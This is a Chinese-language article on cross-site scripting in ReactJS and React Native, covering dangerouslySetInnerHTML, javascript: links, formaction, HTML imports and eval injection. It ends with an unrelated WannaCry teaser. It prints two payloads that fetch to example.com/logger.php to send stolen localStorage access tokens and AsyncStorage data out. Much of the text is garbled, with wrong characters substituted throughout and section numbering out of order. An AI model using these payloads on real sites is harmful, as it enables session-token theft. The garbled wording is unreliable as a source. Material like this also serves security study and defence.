1.应用用户供给的对象来创建React组件;
注入属性(props)
跨站脚本马脚
某些传统的XSS进击向量同样实用于ReactJS应用法度榜样。请大年夜家接着往下看:
(1) 显示地设置dangerouslySetInnerHTML属性
很多开辟者可能会有目标地去设置dangerouslySetInnerHTML属性:
- <div dangerouslySetInnerHTML={user_supplied} />
很明显,如不雅你可以或许控制这些属性的参数值,那你就可以或许注入随便率性的JavaScript代码了。
如不雅你可以或许控制一个动态生成的标签的href属性,那就没有什么可以阻拦你向其参数值中注入JavaScript代码(经由过程javascript:)了。除了href属性之外,在现代浏览器中HTML5按钮的formaction属性同样也是可注入的。
- <a href={userinput}>Link</a>
- <button form="name" formaction={userinput}>
如不雅HTML页面在办事器端预出现的话,你也许可以在通俗的Web应用中找到类似的跨站脚本马脚。
另一个异常奇怪的注入向量就是HTML imports:
- <link rel=”import” href={user_supplied}>
(3) 办事器端出现的HTML
为了降低初始化页面的出现时光,很多开辟人员会在办事器端预先加载React.JS页面(也就是所谓的“办事器端出现”)。在2016年11月份,Emilia Smith发明官方Redux代码样本中存在一个跨站脚本马脚(XSS),因为客户端状况被嵌入到了预出现页面中并没有被过滤掉落。(样本代码中的马脚如今已经修复)
基于eval()的注入
- function antiPattern() {
- eval(this.state.attacker_supplied);
- }
XSS Payload
在现代Web开辟范畴,很多机制的开辟人员会选择应用无状况的会话令牌,并且将它们保存在客户端的本地存储中。是以,进击者必须根据这种情况来设计响应的Payload。
当你在应用跨站脚本马脚来进击ReactJS Web应用法度榜样时,你可以或许随便注入随便率性代码,如不雅再合营应用下面列出的代码,你就可以大年夜目标设备的本地存储中获取拜访令牌并将其发送到你的记录法度榜样中:
- fetch(‘http://example.com/logger.php?
- token='+localStorage.access_token);
React Native
React Native是一款移动应用开辟框架,它可以赞助开辟人员应用ReactJS构建原生移动应用。更确切地说,它供给了一个可以或许再移动设备上运行React JavaScript包的运行时情况。除此之外,我们还可以应用React Native for Web让一个React Native应用在通俗的Web浏览器中运行。
然则就我们今朝的研究结不雅来看,膳绫擎列出的脚本注入向量都不实用于React Native:
1.React Native的createInternalComponent办法只接收包含标签的component类,所以即就是你可以或许完全控制传递给createElement()的参数,你野无法创建随便率性元素;
建议
2.不存在HTML元素,HTML代码也不会被解析,所以通俗的基于浏览器的XSS向量(例如'href')就无法正常工作了。
只有基于eval()的变量才可以在移动设备上被进击者应用。如不雅你可以或许经由过程eval()注入JavaScript代码,你就可以拜访React Native API并做一些有趣的工作了。比如说,你可以大年夜本地存储(AsyncStorage)中窃取数据了,相干的操作代码如下所示:
- _reactNative.AsyncStorage.getAllKeys(function(err,result)
- {_reactNative.AsyncStorage.multiGet(result,function(err,result)
- {fetch(‘http://example.com/logger.php?
- token='+JSON.stringify(result));});});
推荐阅读
WannaCry勒索病毒:全球网络攻击的幕后黑客取走比特币赎金
此次的WannaCry病毒在蒲月份时袭击了世界各地,所用的文件加密恶意软件应用泄漏的NSA马脚进击Windows体系。据统计,WannaCry病毒感染了跨越30万台电脑,在美洲、欧洲、俄罗斯和中国令很多>>>详细阅读
地址:http://www.17bianji.com/lsqh/36639.html
1/2 1